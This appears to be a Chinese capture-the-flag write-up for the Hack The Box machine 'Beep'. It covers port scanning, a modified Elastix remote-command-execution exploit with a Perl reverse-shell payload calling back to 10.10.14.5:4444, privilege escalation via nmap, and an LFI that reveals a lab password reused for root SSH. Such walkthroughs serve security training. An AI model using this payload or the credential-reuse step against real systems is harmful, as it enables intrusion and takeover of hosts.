0x00 信息收集
sudo nmap -Pn -sV -sS -T 4 10.10.10.7 //sS,SYN扫描,这是一个基本的扫描方式,它被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息,但是需要root权限
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.3
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
443/tcp open ssl/https?
993/tcp open ssl/imap Cyrus imapd
995/tcp open pop3 Cyrus pop3d
3306/tcp open mysql MySQL (unauthorized)
4445/tcp open upnotifyp?
10000/tcp open http MiniServ 1.570 (Webmin httpd)
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com
首先查看80端口,发现使用了elastix
同时10000端口同样开启了http服务
爆破路径,未发现可利用的地方。
10000端口的exp都需要利用用户名和密码,并且在多次尝试后IP被blocked,所以突破点集中在elastix.
0x01 漏洞利用
在exploidb中发现elastix有一个远程命令执行漏洞。
https://www.exploit-db.com/exploits/18650
但是该脚本执行出现问题,据报错信息,与SSL有关,继续查找相关信息。
程序中需要使用SIP(是一个应用层的信令控制协议。用于创建、修改和释放一个或多个参与者的会话),此处利用Kali的svwar定位SIP。
svwar -m INVITE -e100-300 10.10.10.7
调整Kali中有关TLS的设定
vim /etc/ssl/openssl.cnf
#将
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2
#修改为
[system_default_sect]
MinProtocol = None
CipherString = DEFAULT
修改EXP的代码如下
import urllib
import ssl
rhost="10.10.10.7"
lhost="10.10.14.5"
lport=4444
extension="233"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
urllib.urlopen(url, context=ctx)
执行脚本即可得到一个低权限的shell
0x02 权限提升
利用exploit-db中提到的利用nmap提权,成功获取root权限。
0x03 其他思路
通过exploit-db的搜索,会发现elaxtix还有一个LFI的漏洞,同样可以利用该漏洞。
通过被包含的文件可以得到elastix账号和密码:admin/jEhdIekWmdjE 利用账号密码,可以成功登录到后台。
利用大部分人密码设置雷同的心理,尝试利用ssh登录。
ssh -l root 10.10.10.7